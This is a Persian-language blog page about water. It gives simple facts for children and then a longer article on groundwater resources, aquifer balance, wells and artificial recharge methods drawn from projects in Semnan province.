    حتما به این جا سر بزنید واسه کوچیکاتون خیلی در مورد اب به زبان ساده مطلب داره شعر قصه و...


    http://kids.tpww.co.ir

    + نوشته شده در  شنبه بیست و دوم بهمن 1390ساعت 16:0  توسط سید جواد موسویان  | 

    اطلاعاتی در مورد اب(این قدر ساده بود که خواهرمم فهمید)

    بیش از 70 درصد سطح کره زمین را آب پوشانده است. اقیانوسها بزرگترین بخش آن را تشکیل می دهند.بخش دیگر آب در دریاچه ها، رودخانه ها، نهرها و آبهای زیرزمینی هستند. تمام موجودات کره زمین، از کوچکترین آنها مانند حشرات، تا بزرگترین آنها مانند نهنگها، به آب وابسته اند. آب بسیار با ارزش است.

    آنچه شما می توانید انجام دهید:

    ·  وظیفه شما صرفه جویی و سالم نگه داشتن آب است. زیرا زندگی ما و سایر جانوران بدون آب ممکن نیست. ماهیها و دیگر آبزیان نیز به محلی برای زندگی نیاز دارند.

    ·  می توانید مصرف آب خود را کم کنید بدون آنکه مشکلی برایتان پیش بیاید. مثلاً می توانید هنگام شستن دست و صورت و یا مسواک زدن، شیر آب را کمتر باز کنید و یا آن را باز نگذارید.

    ·        می توانید با پاکیزه نگه داشتن جویها و رودها، محیط سالمتری داشته باشید.

     

    آب یک حلال جهانی

     آب یک حلال جهانی است به این معنی که می تواند با ساختار مولکولی اش بسیاری از مواد دیگر را در خود حل کند. علت شوری آب به این خاطر است که بسیاری از ترکیبات متفاوتی که از روی سطح زمین شسته می شوند در آب حل شده و جزیی از آب می شوند. اصطلاح «محلول» به معنی سسیستمی است که در آن یک یا دو ماده به طور یکسان و یکنواخت با یکدیگر مخلوط یا در ماده ای دیگر حل می شود. آب دریا در ابتدا شیرین است اما هنگامی که باران می بارد این آب باعث فرسایش زمین می شود، کانی ها قسمتی از آب می شود و سپس این کانی ها جزء و قسمتی از آب دریا می شوند.   آب شور  نه آلوده و نه کثیف است، بلکه محلولی تمیز است مگر اینکه توسط بشر یا طبیعت آلوده شود.

    خصوصیات فیزیکی آب

    آب در محدودة دمای وسیع، یک مایع باقی می‌ماند که بین صفر تا 100 درجة سانتی‌گراد، یعنی بین دمای یخ زدن و جوش است. این دمایی است که اغلب بخشهای کرة زمین که دارای حیات هستند، در این محدودة دمایی قرار دارند.         

    آب گرمای ویژة بسیار بالایی دارد و بدین معنی است که می‌تواند گرمای بیشتری را قبل از تغییر دمایش از دست دهد و یا به دست آورد. آب، در حالت جامد خود دارای چگالی کمتری از حالت مایع خود است، بطوریکه یخ به جای اینکه در آب غرق شود، روی آن شناور می‌ماند. این خصوصیت به حیات اجازه می‌دهد در نواحی قطبی و نیمه قطبی که روی آب شناورند، گسترش یافته و در زیر یخ ها سطح آب نیز وجود داشته باشند. اگر چگالتر از آب بود، در آب فرو می‌رفت و یخ بیشتری روی آن شکل می‌گرفت. در نتیجه، تمام حیات درون آبها، در یخ نقاط بسیاری از جهان، که آب دمای یخبندان را دارد، محبوس می‌ماند. آب نه تنها به خود می‌چسبد، بلکه به سطوح دیگر نیز می‌چسبد و این به آب اجازه می‌دهد برخلاف جاذبه حرکت کند، و این پدیده برای گیاهان، هنگام انتقال آب از خاک به برگهایشان بسیار مهم است. این حرکت رو به بالا به نام ئولینگی یا حرکت لوئینگی شناخته شده است.

    + نوشته شده در  شنبه بیست و دوم بهمن 1390ساعت 15:54  توسط سید جواد موسویان  | 

    منابع اب های زیر زمینی جهان

    مقدمه:
       همزمان با افزایش جمعیت در جهان، نیاز به آب سالم و قابل شرب نیز افزایش می‌یابد. از سوی دیگر منابع آبهای زیرزمینی به دلیل آلودگیها و تغییرات آب و هوایی در حال کاهش است، در نتیجه نگاه‌ها به سوی منابع آب‌های زیرزمینی که منابع حیاتی آب در مناطق خشک ونیمه خشک محسوب می‌شوند سوق یافته است.
       درسال 1960 یونسکو برنامه بین المللی آبشناسی1(IHP) را اجرا کرد و سازمان جهانی هواشناسی2(WMO) برنامه جهانی آبشناسی3(OHP) را عملیاتی نمود. هدف این برنامه شبیه سازی، نمایش و اندازه‌گیری آبهای سطحی و نزولات جوی است. شناخت و اندازه‌گیری آبهای زیرزمینی مشکل است و مقایسه آنها با آبهای سطحی به دلیل کمبود شناخت و نقشه‌های موجود سخت است. نتیجه سرمایه گذاری در این راه، بررسی آبهای زیرزمینی و مدیریت منابع باقیمانده است.
      

    در طول دهه آخر قرن بیستم، افزایش آبهای زیرزمین باعث کاهش اهمیت بحران آب در مقیاس محلی، منطقه ای و حتی جهانی شد. استفاده از آب جهت آبیاری مزارع، منابع آب را تحت تنش قرار داد. در هر حال مدیریت منابع آب زیرزمینی به شناخت موقعیت منابع، نقشه، مدل، حجم و میانگین جایگزینی سالیانه و کیفیت شیمیایی آبهای زیرزمین نیازمند است. در مجموع، منابع آبهای خشکی کمتر می شود.
       تلاش گسترده جهانی که جهت مدیریت منابع آب زیرزمین توسط تعدادی از آژانس‌ها صورت می پذیرد به برنامه جهانی تشخیص و نقشه برداری آبشناسی(4WHYMAP) موسوم است.
    آبهای زیرزمینی
    آبهای زیرزمینی نفوذ آب حاصل از بارندگیها در حوضه های آبخیز، منابع آب زیر زمینی( آبخوانها ) را در دشتهای تحت پوشش بوجود آورده اند. همانگونه که قبلا اشاره شد وقوع چند سال خشکسالی متوالی و کمبود شدید آب در منابع آب سطحی، علاوه بر کاهش نفوذ از آبهای سطحی به آبخوانها موجب باعث افزایش مصرف از آبهای زیر زمینی گردید که باعث افت سطح آب در آبخوانها شده است.
    مدیریت منابع آب زیر زمینی با بهره گیری از فن آوری انرژی اتمی
     کاربرد تکنیکهای ایزوتوپ اطلاعات ذیقیمتی از وضعیت منابع آب زیر زمینی بدست می دهد و جهت حرکت و منشاء آلاینده ها را از محیط های مختلف شناسایی می کند. این تکنیک در کاوش منابع آب زیرزمینی و استفاده منطقی آن بسیار موثر می باشد. 
    کاربرد تکنیکهای ایزوتوپ اطلاعات ذیقیمتی از وضعیت منابع آب زیر زمینی بدست می دهد و جهت حرکت و منشاء آلاینده ها را از محیط های مختلف شناسایی می کند. این تکنیک در کاوش منابع آب زیرزمینی و استفاده منطقی آن بسیار موثر می باشد.انرژی اتمی به عنوان گزینه مناسب (جایگزین انرژی برق) در فرآیند شیرین سازی آب کاربرد دارد.
    ●ایزوتوپها چه هستند و کاربرد آنها چیست؟
    عناصری که اتم های آن ها دارای عدد جرمی یا جرم متفاوت باشند را ایزوتوپ می نامند. فراوانی طبیعی ایزوتوپ های عناصر تشکیل دهنده آب و آلاینده ها (هیدروژن، کربن، اکسیژن و نیتروژن) از فراوانترین ایزو توپها هستند. این ایزوتوپها ردیابهای طبیعی موثری هستند و می توان از آنها برای ردیابی منشا و جهت و سرعت حرکت آلاینده آبهای زیر زمینی استفاده کرد.ترسیم نقشه های کیفی تراکم ایزوتوپ ها بصورت نقاط روشنی روی نقشه نمایان می گردد.بدیهی است تمامی آلاینده های منابع آب از سطح زمین به منابع آب نفوذ می کنند.تکنیک ایزوتوپها در خاورمیانه در مطالعات آب رودخانه نیل و تاثیر آن بر منابع آب زیر زمینی حاشیه آن تا فاصله ۶۰ کیلومتری استفاده شده است. نفوذ آلایند ه ها در منابع زیرزمینی مصر و سودان قابل شناسایی است. حفاظت کیفی منابع آب با توجه به رشد فزاینده جمعیت و نیاز آبی در این مناطق از اهمیت ویژه ای برخوردار است . لذا سازمان جهانی انرژی اتمی ( IAEA ) با بهره گیری از فن آوری ایزوتوپها در قالب برنامه همکاری حفاظت کیفیت منابع آب زیرزمینی مورد استفاده در مصارف خانگی و کشاورزی، سرمایه گذاری به عمل آورده است.کاربرد ایزوتوپها هیدروژن، کربن و اکسیژن امکان شناسایی منشاء آلاینده را فراهم کرده است. همچنین ردیابی آلاینده ها تا فاصله ۶۰ کیلومتری منابع منشاء آلاینده را شناسایی نموده اند و در این راستا استراتژیهای موثر مدیریت منابع آب برای حفظ منابع آب شیرین (قدیم و جدید) به اجرا گذاشته شده است.همچنین با اندازه گیری ایزوتوپهای کربن در صحرای سوریه عمر منابع آب زیرزمینی را تعیین نموده (از یک سال تا ۴۰ هزار سال) و اندازه گیری ایزوتوپ هیدروژن در منابع قدیمی (فسیلی) نشان می دهد که آب و هوا از امروز سرد تر بوده است. همچنین اندازه گیری ایزوتوپها نشان می دهد در حال حاضر فرآیند تغذیه منابع بسیار کند می باشد.بهره گیری از دانش ایزوتوپها امکان پیش بینی ورود آلاینده ها را میسر می سازد. می دانیم آلاینده های منابع زیر زمینی ممکن است برای قرنهای متوالی در زیرزمین باقی بمانند و زدایش و حذف آلاینده های منابع زیرزمینی کاری پر هزینه و دشوار است.تکنیک ایزوتوپ می تواند نقاط آسیب دیده منابع زیرزمینی ناشی از ورود آلاینده ها را مشخص نموده و مسیر و سرعت حرکت آن را تعیین نماید. یکی از شاخصهای اصلی آلاینده ها تعیین غلظت و تراکم نیترات می باشد که ناشی از فعالیتهای کشاورزی نشت از زباله های خانگی و یا فعالیت های صنعتی است.با تعیین خصوصیات ایزوتوپهای نیتروژن شناسایی منشاء آلاینده (نیترات) ممکن می گردد با شناسایی منشاء آلاینده (نیترات) نسبت به حذف آلاینده ورودی به منابع آب برنامه ریزی صورت می گیرد. این تکنیک قادر است آلاینده های جدید و ناشناخته را شناسایی کند و هشدارهای لازم را برای متولیان توزیع آب تئوریزه نماید. این در حالی است که پارامترهای آزمونهای شیمیایی و بیولوژی قادر نیست علت تجمع و تراکم بسیاری از آلاینده ها را مشخص نماید.
    ●کاربرد انرژی اتمی تامین آب شرب
    تکنیکهای اتمی همینطور در انتخاب راههای دیگر تامین آب بویژه در نقاط ساحلی که با معضل کمبود آب یا شوری آب روبرو هستند کار ساز می باشد.طبیعی ترین منابع آب جهان آب دریاها می باشند که همواره در دسترس بوده و هنوز سالم هستند. اما شوری آب دریا بایستی متعادل گردد تا قابل شرب باشد و عملیات شیرین سازی آب به انرژی زیادی محتاج است.انرژی اتمی می تواند جایگزین مناسبی برای سایر انرژیها باشد.مطالعات تامین آب در شمال امریکا نشان می دهد که راه اندازی آب شیرین کن هایی که با انرژی اتمی کار می کنند اقتصادی تر است.
    سفره های آب زیرزمینی
    با ورود آبهای جدیدتر و تجمع آنها در آن نقطه زیر زمینی ، بمرور یک انبار و مخزن زیرزمینی از آب تشکیل میشود که بعلت عبور از لایه های مختلف شن و ماسه و سنگهای متنوع دچار تغییراتی نیز شده اند .
    این تغییرات از نوع کیفی است و در برخی جاها ممکن است باعث بهبود کیفی و تصفیه آب شده و در برخی نقاط نیز باعث تخریب کیفی و آلودگی آب گردد، و این نکته بستگی به کیفیت اولیه آب و لایه های واقع در مسیر حرکت آن دارد .
    در نهایت پس از این تغییر و تحولات که ممکن است سالها بطول انجامد ، در زیر زمین مخزنی از آب تشکیل میشود که یه آن سفره آب زیرزمینی و یا آکیفر می گویند .
    اگر در بالای این سفره تا سطح زمین یک لایه نفوذناپذیر قرار داشته باشد آن را سفره تحت فشار و اگر هیچ لایه ای نباشد آنرا سفره آزاد می نامند .
    خوب ، انسانها در طول تاریخ با نگاه به همین عملکرد ساده نفوذ آب در زمین بوده که به وجود آب زیرزمینی پی بردند و وقتی ناگزیر از زندگی در اماکنی شدند که از وجود رودخانه ها و منابع آب سطحی دیگر محروم بودند ، برای تامین آب مورد نیاز خود ، آن را در دل زمین جستجو نمودند .
    در مسیر همین جستجوها بود که افتخار حفر و بهره برداری از قنات نصیب ایرانیان سخت کوش گردید و ما بدان می بالیم .
    چاه
     دو نوع چاه داریم ، عمیق و نیمه عمیق
    چاه نیمه عمیق
    چاهی است که معمولاٌ با دست آنرا حفر می کنند و مقنی ها در احداث این نوع چاهها از تجربیات زیادی برخوردارند . در مواردی که میزان نیاز به آب اینگونه چاهها بسیار محدود و سطح آب زیرزمینی در نزدیکی سطح زمین قرار دارد از دلو و طناب برای آبکشی استفاده می شده است . اخیراٌ همین چاههای نیمه عمیق را بصورت دهانه گشاد حفاری کرده و سپس آنرا با استفاده از کول های سیمانی یا بتنی ، لوله گذاری نموده و با استفاده از پمپ و موتور ،‌آبکشی می نمایند .
    چاه عمیق
    چاه عمیق را با دستگاه حفاری حفر می کنند و پس از اتمام حفاری آنرا لوله گذاری می کنند و سپس برای آبکشی از آنها از تجهیزات موتور و پمپ استفاده می کنند .
    در زمانی که برداشت آب زیرزمینی بیش از ورود آب نفوذی به مخزن باشد ، رو به کاهش می گذارد و بمرور سطح آب زیرزمینی عمیق تر میشود .
    سیستم آبخوان
    سفره آب زیرزمینی هم به مانند یک سیستم عمل می کند ، یک تعدادی ورودی دارد و تعدادی هم بعنوان فاکتورهای خروجی آن عمل می کند .
    هرگاه میزان ورودی های این سیستم کمتر از میزان خروجی های آن شود ، معادله سیستم به هم خورده و دچار مشکل می شود .
    هر گاه میزان ورودی ها بیشتر از میزان خروجی ها گردد نیز مشکل به شکل دیگری بروز می کند . بنابراین بحث تعادل در سیستم آبخوان ، بسیار حائز اهمیت است و هرگونه اخلال در آن موجب دردسر ساکنان و بهره برداران و سازمان های مسئول میشود .
    مشکلات سیستم
    همانطور که ذکر شد هرگونه خللی که در دو طرف معدله سیستم آب زیرزمینی بروز کند باعث ظهور مشکلاتی میگردد که دو مشکل عمدة آن عبارت از بالا آمدگی سطح آب زیرزمینی و پایین افتادن سطح آب زیرزمینی ، میباشند و هریک از آنان نیز پیامدهای خاص خودشان را دارند .
     
    بالا آمدگی سطح آب زیرزمینی
     بشکه ای را در نظر بگیرید که از یک شیر آب در حال پر شدن است ، همچنین بشکه مزبور دارای یک شیر در پایین خود است و آب بشکه از طریق شیر شماره 2 تخلیه میشود . در این مثال تمامی قسمتهای بشکه نفوذناپذیر فرض شده است و معادله این سیستم دارای یک فاکتور ورودی ( شیر شماره 1 ) و یک فاکتور خروجی ( شیر شماره 2 ) می باشد .
    سطح آب را در ابتدای آزمایش در میانه ارتفاع بشکه فرض کرده و سپس شیرهای آب 1 و 2 را باز کنید .
    چنانچه پس از شروع آزمایش ، مقدار آب ورودی از شیر 1 بیش از مقدار آب شیر خروجی شماره 2 باشد ، چه اتفاقی می افتد ؟ سطح آب درون بشکه بمرور بالا و بالاتر می آید تا جایی که بشکه پر شده و آب آن سرریز نماید . آب سرریز شده ممکن است در مسیر خود موجب خسارت های زیادی گردد .
    پایین افتادن سطح آب زیرزمینی
    این حالت زمانی اتفاق می افتد که در بشکه فرضی فوق الذکر ، تنها تفاوت در مقدار آب ورودی و خروجی است .
    در این حالت مقدار آب خروجی شیر شماره 2 بیش از مقدار آب ورودی از شیر شماره 1 میباشد ، و در اثر باز بودن شیرها ، بمرور سطح آب بشکه پایین و پایینتر می رود تا جایی که سطح آب به کف بشکه برسد و دیگر ، آبی برای خارج شدن وجود نداشته باشد ، الا همان مقداری که از شیر شماره 1 وارد میشود .
    دراینصورت دیگر جریان مستقیم شده و فقط مقدار وارده عیناٌ خارج شده و چیزی به حجم آب بشکه اضافه نمیشود .
    مثال فوق یک مدل ساده شده از آبخوان را نشان داد و شما را با فاکتورهای ورودی و خروجی این سیستم آشنا نمود .
    ووردی های سیستم
    اصلی ترین ورودی سیستم ، نفوذ مستقیم آب باران در زمین است .
    پس از آن آبهای جاری انهار ،برکه ها و رودخانه ها و مسیل ها نیز در مسیر و بستر خود ، به درون زمین نفوذ می کنند .
    آبهای لوله کشی شده شهری و کانالیزه شده کشاورزی نیز مقداری نشتی دارد که بدرون زمین نفوذ می کنند .
    آب زراعی مصرف شده در مزارع نیز پس از مشروب نمودن و مصارف گیاهی بدرون زمین نفوذ می کند .
    آب لوله کشی شهری و روستایی نیز پس از مصرف ، به صورت فاضلاب شهری و روستایی به درون زمین نفوذ می کنند .
    تمامی این آبها ، پس از نفوذ در زمین ، در اثر نیروی ثقل خود به سمت یک هدف و آن پایینترین نقطه و تراز ممکن ، حرکت می کنند تا به لایه نفوذناپذیر برسند. پس از رسیدن به آن لایه نفوذناپذیر است که آبها بر روی هم انباشته شده و آبخوان را تشکیل می دهند .
    خروجی های سیستم
    آب های خارج شده از مظهر قنوات و دهانه چاههای عمیق و نیمه عمیق ، و آبهای زهکشی شده از اراضی زه دار ، به رودخانه ها و قسمت های خروجی دشت ها و آب های بخار شده از اعماق نزدیک به سطح زمین و ... از فاکت های خروجی سیستم بحساب می آیند .
    معادله سیستم
    چنانچه خروجی های سیستم را در یک طرف معادله و ورودی های آنرا در طرف دیگر معادله بنویسیم ، حالت های زیر متصور است :
    •       آب های خروجی   مساوی  آب های ورودی  و سیستم در حالت تعادل است.
    •       آب های خروجی  بیش از آب های ورودی و سیستم در حالت کاهنده و رو به بحران و نابودی است .
    •   آب های خروجی  کمتر از آب های ورودی و سیستم در حالت افزایندگی و رو به بروز خطر زهدار شدن اراضی است .
     
    راه حل
    از آنجا که جمعیت رو به افزایش است و نیازهای جمعیت روزافزون میباشد ، لذا قبول اینکه یک سیستم آب زیرزمینی را میتوان در حالت تعادل نگهداشت بسیار مشکل و عملاٌ ناممکن است .
    علیرغم سعی و کوشش دائمی مدیریت حفاظت آب زیرزمینی دشت های مختلف وابسته به سازمان های آب مناطق ، همیشه بهره برداران و صاحبان چاهها ، با برداشت بیش از سهمیه تعیین شده و تخطی از میزان قید شده در پروانه های بهره برداری به خروج سیستم از حالت تعادل و حرکت آن به سمت بحران و کاهش ذخیره آبخوان می رود .
    در این حالت سیر نزولی سطح آب زیرزمینی سیر نزولی سریعی پیدا کرده و روز به روز حرکت نزولی آن و کسری ذخیره مخزن بیشتر خواهد شد .
    مدیران باید مراقب باشند تا کفگیر برداشت آب زیرزمینی به ته دیگ آبخوان برنخورد ، وگرنه صدای آن بسیار گوشخراش خواهد بود .
    در صورت بروز چنین حالتی ، خسارتهای جبران ناپذیری ، حیات انسانی و گیاهی را تهدید می کند .
    خسارتهای مورد انتظار
    پایین رفتن سطح آب زیرزمینی و تخلیه سفره آب زیرزمینی موجب : خشک شدن چاههای نیمه عمیق و قنوات ، کاهش آبدهی چاههای عمیق ، کف شکنی مداوم و تعمیق چاههاعمیق ، افزایش هزینه نصب تجهیزات در اعماق زیادتر، افزایش مصرف سوخت و هزینه های برق مصرفی کشاورزی ، شورشدن آب چاهها در اثر حرکت جبهه آب شور از حاشیه های مخزن به سمت مرکز که پدیده اینترفاز را بدنبال دارد .
    علاوه بر آن تخلیه سفره آب زیرزمینی ، موجب خشک شدن چاههای عمیق و نابودی کشاورزی ، نشست اراضی اطراف چاهها ، فرورفتن تجهیزات سرچاهی برون چاه ، تخریب ساختمانهای سرچاهی ، زلزله های القایی کم شدت ، نشست سراسری دشت ها و زلزله های شدید احتمالی و سایر عوارض خواهد بود .
    در مواردی نیز که آب ورودی به سیستم بیش از میزان خروجی آنست ، ما با خسارتهای بیشماری مواجه خواهیم بود : بالا آمدن سطح آب زیرزمینی در دشتها و روستاها و شهرها ، نمناک شدن کف اتاقها ، جمع شدن آب در طویله های روستائیان ، جمع شدن آب در تنورهای زمینی ، نمور وتخریب شدن دیوارها ، نشست ساختمانها و شکستگی حاصل از نشست ، آلوده شدن آب زیرزمینی با فاضلاب خانگی ، افزایش بیماریهای ناشی از آب ، خشک شدن درختان ، کاهش راندمان زراعی و خشک شدن مزارع در اثر زهدار شدن اراضی ، شوری خاکها و... از جمله خسارتهای ممکن در اثر بالا آمدن سطح آب زیرزمینی است .
     
    تغذیه مصنوعی
    یکی از راههایی که برای کنترل و جلوگیری از پایین افتادن سطح آب دشتها از قدیم الایام مورد توجه مردم و کشاورزان ایران بوده و در سالهای اخیر نیز مورد توجه متخصصین امر آبهای زیرزمینی قرار گرفته است ، تغذیه مصنوعی سفره است .
    در مواردی که تغذیه طبیعی و ورودی های طبیعی سیستم جوابگوی میزان آبهای خروجی از سیستم نباشد ، متخصصین این روش را پیشنهاد می کنند تا با تزریق مداوم آب به داخل یک مخزن ، از نابودی آن جلوگیری کنیم . تغذیه مصنوعی های متنوع دشت گرمسار ، سمنان ، زرتل ، آبگرم ، دامغان ، دریان ، آکسی ، مهماندوست ، دامغان ، ارمیان و نعیم آباد و زیدر و ... از تجربیات نگارنده در پروژه های تغذیه مصنوعی سفره های آب زیرزمینی دشت های مختلف استان سمنان میباشند .
    زهکشی
    با زهکشی سطحی و زیرزمینی و پمپاژو خارج کردن آبهای مازاد و انتقال آن به دیگر مناطق میتوان از خسارتهای بالا آمدن آب زیرزمینی جلوگیری نمود .
    زهکشی روستای مرادآباد و زهکشی جنوب دشت گرمسار و چاههای کاهش سطح اب جنوب تهران از تجربیات نگارنده در استان سمنان و تهران در مواجهه با زهدار بودن اراضی  بوده است

    روش های تغذیه
    تغذیه سفره آب زیرزمینی به دو روش اساسی میسر می شود . روش طبیعی تغذیه بدون هیچگونه دخل و تصرف در طبیعت ، و روش مصنوعی .
    تغذیه طبیعی
    این روش تغذیه همان روشی است که طبیعت در طول سالیان درازی به نفوذ آب بداخل زمین و تشکیل سفره های آب زیرزمینی پرداخته است . هم منابع آبی  طبیعی هستند و هم بسترهای تغذیه کاملاٌ طبیعی هستند .
    تغذیه مصنوعی
    همچنانکه قبلاٌ ذکر شد در مواردی که تغذیه طبیعی جوابگوی نیازهای روزاقزون بهره برداران نیست ، جوابگوی مصرف نیست ، مصرف بیش از تولید است و مانند آنکسی است که دخلش بود نوزده و خرج بیست ، باید با تغذیه مصنوعی به داد آبخوان رسید .
    مانند سرمی که پزشک به بیمارش تزریق می کند ، چونکه تغذیه طبیعی جوابگوی نیازهای بدن بیمارش نیست .
    •       جانمائی تغذیه
    برای جانمایی تغذیه چند شرط بعنوان شروط لازم باید مورد توجه قرار گیرد :
     
    وجود دشت نیازمند به تغذیه
    بدون وجود یک بیمار چگونه میتوان درمان را شروع نمود ؟ مگر بر روی مدل های عروسکی و انهم فقط بدرد آموزش میخورد ، پس از آموزش باید آموخته های خود را بر روی مدل های واقعی به مرحله عمل درآوریم و در اینجا به بیمار واقعی نیاز خواهیم داشت .
    پس ضروری است دشت های مختلف را قبلاٌ شناسایی کرده و دشتهای نیازمند به تغذیه را شناخته باشیم و تمام توجه خود را به آن دشتها معطوف کنیم .
    وجود آب مازاد و قابل تغذیه
    داروی واقعی بیمار مورد نظر ما آب است و ما برای درمان به چنین دارویی نیاز داریم ، بنابراین باید منابع آبهای سطحی منطقه را شناسایی کنیم و منابع آبی مازاد را بشناسیم و پس از یافتن منابع آبی که مازاد بر نیاز روز حقابه بران و صاحبان منافع است ، باید به شرایط کمی و کیفی آن نیز بپردازیم .
    آیا این منبع آبی کفایت نیاز ما را می کند ؟ از نظر کیفی ، فیزیکی و شیمیایی با نیازهای ما انطباق دارد ؟ وجود یک رودخانه آب شور که دائماٌ جریان دارد نه تنها برای تغذیه مناسب نیست بلکه باعث آلودگی شیمیایی آبخوان نیز می گردد و در صورت توان باید آنرا از محدوده دشت خارج کنیم . آیا تغذیه این آب ، مسایل کیفی جدیدی را به آبخوان تحمیل نخواهد کرد ؟ آبهای سولفاته سبب تلخی آبخوان ( آبگرم سمنان ) و آبهای کلروره سبب شوری آبخوان (آب گندم دره ارادان در شرق گرمسار) می گردند .
    آبهای کربناته ، مناسب ترین آبها برای تغذیه میباشد . علاوه بر شرایط شیمیایی آبها ، دقت در پارامترهای فیزیکی آب نیز بسیار حایز اهمیت است و هرچه آب مورد استفاده صاف تر و زلال تر باشد ، شانس نفوذ آن بداخل آبخوان زیادتر و ریسک آن کمتر است .
    وجود اراضی مناسب تغذیه
    اراضی واقع در ابتدای مخروط افکنه ها ، بدلیل نحوه رسوبگذاری آن در طول سالیان دراز تشکیل بادبزنه های آبرفتی ، مناسب ترین اراضی هستند و از آنجا که بدلیل دانه درشت بودن و سنگلاخی بودن این اراضی ، قابلیت زراعی آن نیز پایین است ، لذا امکان استفاده از این اراضی میسر است . دانه بندی خاکهای این اراضی دانه درشت گردشده اند.
    همین دانه درشتی آبرفت و نبود لایه های ریزدانه و بازدارنده رسی در بینابین لایه های آبرفت ، موجب افزایش شانس نفوذ آب به داخل آبخوان میگردد .
    اراضی واقع در دامنه کوهها نیز که از واریزه های دامنه کوهها تشکیل شده اند نیز برای تغذیه شرایط مناسبی را دارند ، دانه بندی خاک این اراضی دانه درشت تیز گوشه اند .
     
    منبع آب سطحی
    منابع آب سطحی عبارت از آب رودخانه ها ، خشکرود ها ، آبهای سیلابی ، کانالها و انهار طبیعی و کشاورزی هستند که میتوان در فصول غیر زراعی و زراعی از آب مازاد این منابع برای تغذیه مصنوعی استفاده نمود .
    منبع آب زیرزمینی
    منابع آب زیرزمینی ، آبهای خروجی از چشمه ها ، قنوات و چاههای عمیق و نیمه عمیق است ، که ممکن است از یک ناحیه بنا به دلایلی پمپاژ کرده و پس از انتقال به منطقه دیگر به مصرف تغذیه مصنوعی آن دشت برسانیم .
    اراضی مناسب
    با شناسایی اراضی مناسب تغذیه ، باید بدانیم که آبهای تغذیه شده به چه مصرفی خواهد رسید ، آیا موجب پر آب شدن چاهها و قنوات گردیده و یا باعث زهدار شده اراضی و یا تخریب ساختمانها می شود ؟ اطمینان از مناسب بودن موقعیت و شرایط توپوگرافی و فیزیکوشیمیایی اراضی محل تغذیه از اهمیت ویژه ای برخوردار است .
    تغذیه سطحی
    در این روش با پخش کردن آب در روی سطح زمین و توقف در جریان آن موجب نفوذ آب را بداخل زمین فراهم می آوریم .
    پیتینگ
    ساده ترین شیوه استفاده از آب باران ، بلافاصله پس از بارش بر روی زمین ، پیتینگ میباشد . در این روش با حفر چاله هایی مانند چاله درخت با عمق کمتر از چاله درخت و در فاصل مشخصی که هر چاله از چاله بعدی حدود 2 متر فاصله پیدا می کند ، موجب میشود که آب باران هایی که در زمین های حدفاصل چاله ها باریده اند ، قبل از بهم پیوستن و ایجاد جریان رگه های آب جاری ، در چاله ها جمع آوری و محبوس شده و چون زمین محل حفر چاله ها ، از نوع خاکهای دانه درشت و واریزه ای است ، سریعاٌ در زمین نفوذ می کنند .
    از این نمونه چاله ها که با تراکتور های مجهز به ابزار چاله کنی حفر میشود ، در بیابان های شمال روستای قوشه و بر سر راه جاده تویه دروار به وفور حفاری شده است . جهاد سازندگی مبدع این روش تغذیه بود .
    کنتورفارو ، خطی ، نواری
    این روشها نیز مبتنی بر ممانعت از ایجاد جریان های سطحی بوده و در اراضی شیبدار واریزه ای احداث میشوند . با استفاده از تراکتور های مجهز به گاوآهن های پنجه غازی و سایر ادوات مناسب ، شیارهای طولی شبیه شخم ، در روی زمین های شیبدار ایجاد می کنند تا آبهای جاری در سراشیبی ها در این شیار ها به تله افتاده و در امتداد شیار جریان یافته و به آرامی در زمین نفوذ کنند . این شیارها غالباٌ موازی با خطوط میزان و کنتور لاینها و خطوط تراز توپوگرافی حفر میشوند و چنانچه این شیارها ازحالت موازی بودن باخطوط تراز خارج شوند ، بلافاصله در اثر تجمیع آب و هجوم آبهای اطراف تخریب میشوند . سازمان جهاد سازندگی و کشاورزی مبدع این روش تغذیه بودند .
    گردشی
    در اراضی کم شیب تر با ایجاد یکسری خاکریزهایی که به ارتفاع مناسبی خاکریزی و متراکم می شوند زمینه جمع شدن آب در پشت خاکریزها را فراهم می آورند و چون جریان آب بصورت مداوم برقرار است و تجمیع آب موجب تخریب خاکریز میشود ، در انتهای آن با ایجاد یک بستر سنگی آب را در جهت عمود بر شیب به پشت خاکریز پایینی هدایت می کنند . تغذیه مصنوعی زیوان سرخه و مهماندوست دامغان از نمونه های این روش تغذیه بوده که توسط آب منطقه ای در استان سمنان اجرا شده است . نمونه زیوان توسط مشاور ری آب طراحی شده بود .
    بستری
    کاهش شیب بستر رودخانه ها و مسیل ها و در نتیجه کم کردن سرعت جریان ، موجب نفوذ دادن آب از طریق بستر رود میشود . اگرچه در چنین مواردی با کم شدن سرعت جریان شدن رسوبگذاری سیلابها نیر خود مزید بر علت شده و عامل نفوذناپذیری بستر و مسدود شدن معبر زیر پل ها و غیره می گردد . برای کاهش شیب بستر رودخانه ها از سازه هایی از قبیل سنگریزها و گابیون بندیها و اپی ها استفاده می شد . این سازه های خشک و خشکه چین موجب طولانی شدن مسیر جریان در بستر رود و کاهش شیب طبیعی بستر و نفوذ آب بداخل بستر می گردید . جهاد سازندگی مبدع این روش تغذیه بود .
    نمونه های اجرا شده در بستر رودخانه زرتل سمنان نیز یکی از نمونه های تجربیات نگارنده است .
    تورکینست
    اصطلاح تورکینست به معنی لانه بوقلمون است و از پروژه های اجرایی استرالیا اقتباس شده است . از این نمونه در دشت های استان سمنان بوفور اجرا شده است .
    در حاشیه مسیل ها و رودخانه ها حوضچه های منفردی شبیه لانه بوقلمون که بی شباهت به نعل اسب نیست، احداث میشود ، و آب سیلابی یا آب پایه مازاد رودخانه را بدرون این حوضچه هدایت می کنند . دیواره های این حوضچه ها از خاکریز لایه لایه و متراکم است که از طرف دهانه نعل است باز بوده و ارتفاع آن به سطح زمین نزدیک میشود .
     از موارد تخریب شده این حوضچه ها ، تورکینست گل رودبار سمنان است و از تورکینست های خوب ، نمونه تورکینست زیوان سرخه را میتوان نام برد وجهاد سازندگی مبدع این روش تغذیه بود .
    استخری ، حوضچه ای
    در این روش که در اراضی کم شیب بالای دشتها احداث میشود ، سیستم شامل آبگیر و کامال آنتقال و شیب شکنها و تعدادی حوضچه رسوبگیر و چندین حوضچه تغذیه میباشد که در بالادست دشتها و ابتدای مخروط افکنه ها احداث میگردد .
    آب وارده به سیستم ابتدا به حوضچه های رسوبگیر که دارای طول زیاد و مسیرهای چرخشی درون حوضچه است وارد شده و پس از طی شدن زمان ماند پیش بینی شده در طراحی ، به سمت قسمت انتهایی حوضچه رفته و از طریق سرریزهای سنگی یا بتنی و یا لوله های تخلیه کننده از آن خارج میگردد.
